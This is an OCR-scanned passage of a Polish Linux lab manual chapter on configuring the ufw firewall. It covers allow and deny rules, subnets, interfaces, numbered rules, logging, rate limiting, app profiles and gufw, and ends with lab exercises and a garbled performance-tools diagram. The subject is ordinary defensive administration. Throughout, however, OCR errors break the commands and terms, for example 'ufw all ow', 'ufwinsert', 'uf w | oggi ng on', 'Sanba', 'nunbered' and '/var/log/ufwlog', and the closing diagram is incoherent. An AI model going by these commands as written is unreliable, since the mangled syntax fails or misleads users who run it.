ufw deny from 192.168.0.1 to any port 23

Reguty ztozone
Zapora uf wwspiera takze regutu ztozone ktore okreslajg czy pakiety przychodza czy wychodzg, numery portéw,

zakresy adresdw IPi interfejsy. Na przyktad ponizsze polecenie blokuje ruch tcp wychodzacy na port 80

ufw deny proto tcp to any port 80

Ponizsze polecenie blokuje ruch tcp wychodzacy z sieci 10. 0. 0. 0/ 8 do hosta192. 168. 0. 1 naport 25
ufw deny proto tcp from 10.0.0.0/8 to 192.168.0.1 port 25

Ponizsze polecenie dozwala ruch tcp przychodzacy z dowolngj sieci na porty 80,443 i 8080:8090

ufw all ow proto tcp fromany to any port 80, 443, 8080: 8090 conment 'web app’
Blokowanie/ dozwal anie podsi eci

Mozemy wprowadzaé takze polecenia dotyczace podsieci postugujac sie notacja CIDR. Przyktadowo gdy chcemy
dozwoli¢ adresy od 15. 15. 15. 1 do 15. 15. 15. 255 to uzyjemy polecenia

ufw all ow from 15. 15. 15. 0/ 24

Okreslanie interfej sow
Polecenia ufw moga si¢ tez odnosi¢ do pewnych tylko interfejsow. Dostepne interfejsy mozna uzyska¢ poprzez

polecenie:

root @al i : ~# netstat -i

Kernel Interface table

| face MTU RX- OK RX- ERR RX- DRP RX- OVR TX-OK TX-ERR TX-DRP TX-OVR Fl g
et hO 1500 204 0 00 543 0 0 0 BVRU
lo 65536 18 0 00 18 0 0 0 LRU

Przyktad 16-2 Uzyskanie nazwy interfejsow
Aby dozwoali¢ wszystkie pakiety przychodzace na port 80 z interfejsu ethO uzywamy polecenia:

ufw allowin on ethO to any port 80

Aby dozwoli¢ wszystkie pakiety przychodzace na port 3306 z interfejsu et h1 uzywamy polecenia
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ufw allowin on ethl to any port 3306

Kasowanie regut
Reguty kasowa¢ mozna poleceniem ufw z opcja delete podajgc numer reguty lub jg tres¢. Aby skasowac regute
dozwalajaca potaczenia http uzywamy polecenia:

ufw delete allow http

Numerowanie
Polecenia uf wtworzg tancuchy i wazna jest ich kolegjnos¢. Aktualny stan zapory wyswietlamy poleceniem:

uf w st at us nunber ed
root @al i:~# ufw status nunbered
Status: active
To Action From
[ 1] 22 ALLOW I N Anywher e
[ 2] 80/tcp ALLOW I N Anywher e
[ 3] 80/tcp ALLOWV QUT  Anywhere (out)

Przyktad 16-3 Uzyskiwanie statusu zapory z numerami regut

Postugujac sie¢ numerami regut mozna je kasowa¢ | wstawiat nowe. Np.: ufw del ete 2

# ufw delete 2
Del eti ng:
al l ow out 80/tcp
Proceed with operation (y|n)? vy
Rul e del et ed

Przykiad 16-4 Kasowanie reguty z na podstwie numeru

Numerowanie pozwalatez wstawié regute na okreslongj pozycji

ufwinsert 1 allow from<ip address>

Logowanie

Zapora uf wumozliwiarejestracj¢ zdarzen zwigzanych z siecia. Sterowanie rejestracja odbywa si¢ za pomoca opcji:
| oggi ng on| of f| LEVEL

Nastepujace polecenie wiacza rejestrace:

uf w | oggi ng on

Gdy demon regjestratorar sysl ogd jest uruchomiony zapisy zdarzen sieciowych beda w pliku/ var / | og/ uf w. | og

# tail /var/log/ufwlog

Dec 10 12:10:59 kali kernel: [ 888.420888] [ UFW BLOCK] | N=eth0O QUT=

MAC=01: 00: 5e: 00: 00: 01: 00: 12: 2a: 6b: 28: 71: 08: 00 SRC=192. 168. 1. 254 DST=224.0.0.1
LEN=32 TOS=0x00 PREC=0xCO TTL=1 | D=0 DF PROTO=2

Dec 10 12:13:04 kali kernel: [ 1013.415291] [UFWBLOCK] | N=eth0O OQUT=

MAC=01: 00: 5e: 00: 00: 01: 00: 12: 2a: 6b: 28: 71: 08: 00 SRC=192. 168. 1. 254 DST=224.0.0.1
LEN=32 TOS=0x00 PREC=0xCO TTL=1 | D=0 DF PROTO=2

Przyktad 16-5 Fragment rejestru zdarzen sieciowych z pliku/ var / | og/ uf w. | og. Znaczenie uzytych skrétéw
specyfikuje ponizsza tabela.

[ UFW Thislocation is where the description of the logged event will be located. In thisinstance, it blocked a

BLOCK] connection.

IN If this contains a value, then the event was incoming

ot If this contain a value, then the event was outgoing

MAC A combination of the destination and source MAC addresses

SRC The IP of the packet source

DST The IP of the packet destination

LEN Packet length

TTL The packet TTL, or timeto live. How long it will bounce between routers until it expires, if no
destination is found.
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PROTO The packet’s protocol

SPT The source port of the package

DPT The destination port of the package

W NDOW The size of the packet the sender can receive

SYN URGP Indicated if athree-way handshake is required. 0 meansit is not.

Tabela 16-1 Znaczenie skrotow uzytych w rejestrach programu ufw

Domyslnie poziom rejestracji ustawiony jest na low.

Ograniczanie ruchu sieci
Zapora ma zdolnos¢ ograniczanie ruchu w sieci aby zapobiec atakowi DoS. Gdy limitowanie jest w uzyciu zapora
blokuje potagczenia gdy jest ich wiece niz 6 w ciggu 30 sekund.

ufw linmt ssh/tcp

Integracja z aplikacjami

Aplikacje sieciowe moga posiada¢ pliki konfiguracyjne ktére informujg ufw o zasobach jakie sa im potrzebne. Nie
trzeba wtedy wyliczac tych zasobow ale tylko dozwoli¢ dana aplikacje. Pliki konfiguracyjne aplikacji zapisane sg w
katalogu/ et ¢/ uf w appl i cati ons. d. Liste aplikacji mozna uzyskat poleceniem:

ufw app |ist
Na przyktad aby dozwoli¢ aplikacje Samba piszemy polecenie:
ufw al | ow Sanba

Informacje jakich zasobow potrzebuje ta aplikacja uzyskujemy poleceniem:

# ufw app i nfo Sanba

Profile: Sanba

Title: LanManager-like file and printer server for Unix

Description: The Sanmba software suite is a collection of prograns that

i mpl enents the SMB/ CIFS protocol for unix systens, allow ng you to serve
files and printers to Wndows, NI, OS/2 and DOS clients. This protocol is
sonetines also referred to as the LanManager or Net Bl OS protocol.

Ports:
137, 138/ udp
139, 445/t cp

Przyktad 16-6 Uzyskanie informacji o zasobach wymaganych przez aplikacje Samba

16.3.3 ufw lista polecen
Lista polecen programu uf w zgodna z manualem podana zostata ponizej (W uproszczonej wersji).

uf w enabl e| di sabl e| rel oad

uf w default allow deny|reject [incom ng|outgoing|routed]

uf w | oggi ng on| of f| LEVEL

ufw reset

uf w st atus [verbose| nunber ed]

uf w show REPORT

ufw [delete] [insert NUM allowdeny|reject|limt [in]out]
[log|log-all] [PORT[/PROTOCOL]] | APPNAME ] [conment COMMENT]

ufw [rule] [delete] [insert NUM allowdeny|reject|limt
[infout [on INTERFACE]] [log|log-all] [proto PROTOCOL] [from ADDRESS [ port
PORT | app APPNAME ]] [to ADDRESS [port PORT | app APPNAME ]] [commrent
COMMENT]

uf w del et e NUM
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ufw app list|info|default|update

Opcje:

--version show program s version nunber and exit

-h, --help show hel p nessage and exit

enabl e reloads firewall and enables firewall on boot.

Di sabl e unl oads firewall and disables firewall on boot

rel oad rel oads firewall

def aul t al | owj deny| rej ect DI RECTI ON
change the default policy for traffic going DI RECTIQN, where
DI RECTION i s one of inconing, outgoing or routed

| oggi ng on| of f| LEVEL toggl e | oggi ng. Logged packets use the LOG KERN
syslog facility. Systens configured for rsyslog support may
also log to /var/log/ufw log. Specifying a LEVEL turns
| oggi ng on for the specified LEVEL. The default log level is
"l ow . See LOGGE NG for details.

reset Disables and resets firewall to installation defaults.

st at us show status of firewall and ufw managed rules. Use status
verbose for extra information. In the status output,

"Anywhere' is synonymous with ‘'any' and '0.0.0.0/0
show REPORT di splay information about the running firewall. See REPORTS

al | ow ARGS add allow rule. See RULE SYNTAX

deny ARGS add deny rule. See RULE SYNTAX

rej ect ARGS add reject rule. See RULE SYNTAX

[imt ARGS add limt rule. Currently only IPv4 is supported

del ete RULE| NUM del etes the correspondi ng RULE
insert NUM RULE insert the corresponding RULE as rul e number NUM

REPORT
Opcjamoze przyjmowac wartosci: r aw, builtins, before-rules, user-rules, after-rules,
| oggi ng-rul es, listening, added. Specyfikujg oneroznerodzaje raportow.

16.4  Interfejsgraficzny gufw
Program ufw posiada interfejs graficzny gufw. Instalujemy go poleceniem:
apt-get install gufw

Wyglad interfejsu pokazano ponizej.
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Applications « Places v ® Gufw.py = Tue 12:57
Firewall e e O

File Edit Help
Firewall

Profile: Office =

Status: 5 '

Incoming: | Deny ~ : I

Outgoing: | Allow ~ | el

* Rules | Report . Log

1 MNone WARN: /lib/ufw is
2 None WARN: /lib/ufw is

+

Firewall enabled

Ekran 16-1 Ekran programu gufw

16,5  Administrowanie zapora ufw, aplikacja uf w- f r amewor k

Administrowanie zaporg umozliwia aplikacja ufw-framework . Aby zapozna¢ si¢ z tymi dziataniami skorzystal z
manuala.

#man uf wf ranewor k
NAME uf wframework - using the ufw framework

DESCRI PTI ON

ufw provides both a command line interface and a framework for nanagi ng a
netfilter firewall. Wiile the ufw conmand provides an easy to use interface for
managing a firewall, the ufw frame work provides the adninistrator nethods
to custom ze default behavior and add rul es not supported by the commuand |ine
tool. In this way, ufw can take full advantage of Linux netfilter's

power and flexibility.

Przyktad 16-7 Uzyskiwanie informacji natemat uf w- f r amewor k

16.6 Zadania

16.6.1 Instalacjai konfiguracja ustug sieciowych

Zainstalyj i przetestuj nastepujace ustugi sieciowe: t el ned, ftpd, tftpd, fingerd, ssh.service.
Sprawdz widocznos¢ za pomoca programow net st at il sof . Sprawdz dziatanie tych ustug za pomoca
odpowiednich programéw klienckicht el net, ftp, tftp, finger, ssh.

16.6.2 Testowanie zapory

Zbadaj aktualny stan zapory. Ustaw stan poczatkowy:

uf w default deny incom ng

uf w defaul t all ow out goi ng

Nastepnie dozwdl uzyciedlaustug t el net, ftp, http, https, fi nger, ssh. Zbadg czy ustugi dziataja
prawidiowo przy uzyciu odpowiednich programéw klienckich.
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16.6.3 M odyfikacja zapory — pakiety przychodzace

Zmodyfikuj zapore tak aby dozwoli¢ potaczeniat el net naporcie 23 od wybranego komputera, f t p dlawszystkich
komputeréw z sieci laboratorium. Z wszyskich innych komputeréw potgczenia maja by¢ zabronione. Dodgj jeszcze
jeden komputer z ktérego mozna wykonywa¢ potgczeniatelnet . Sprawdz jak to dziata.

16.6.4 M odyfikacja zapory — pakiety wychodzace

Zmodyfikuj zapore tak ze zapora ma blokowa¢ pakiety wychodzace do wybranego komputera nawybrany port , do
grupy komputeréw i do podsieci.

16.6.5 Zadanie4

Zmodyfikuj zapore by dopuszczata komunikacje TCP i UDP nawybranym porcie. Przetestuj dziatanie przy pomocy
programu net cat .

16.6.6 Zadanie5
Zmodyfikuj zapore aby odrzucata pakiety ICMP z wyjatkiem okreslonego zrodia.

16.6.7 Zadanie6
Zmodyfiku zapore w taki sposob aby rejestrowaé pakiety icmp (uzywane w poleceniu ping). Sprébuj napisa¢ skrypt
ktory podaje kto nas ostatnio ,, pingowal” .
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17. Dodatek 1 — narzedzia analizy systemu

Linux Performance Observability Tools

strace

el Dn-eral ng System Hardware !
lsof ltrace TASEET etstat aysdig - Various:
pcstat'\ 111 - sar /proc
P pidstat \ \ \Mpllca‘lmna //// / /// dstat
perf \ System Librarigd | [ f} mpstat rdmsz
ftrace Systen\Call Interface [{ /| ¥ # / CPU 1
stap _ VES v sockels fh Echadul&r:: Intercannect 0
kta E =
Ebplé' 3 \ File Systems TCP/UDP ¥/ <— top ps ol 1
dtraca 3 &Wluma Manager P 4 Vitual 4 pidstat Memory |PeEE
5 i Mamur'_.r Bus |tipto
lttng {E!pch Device Interface _ Et_hamat “""“-.. bt ptop
w A SR slabtop —*["pram |
iostat perf tiptop l-"GBus\\ \ free
iotop Expander Interconnect .1.pt.ra.f tepdump
blktrace | |
[ vocontrolier | | Network Controller |+ nicstat
| | | Interface Transports [ netstat
[ pisk | [ pisk | [ swap | [ Pot | | Pon P
swapon prm— snmpget l 1lldptool
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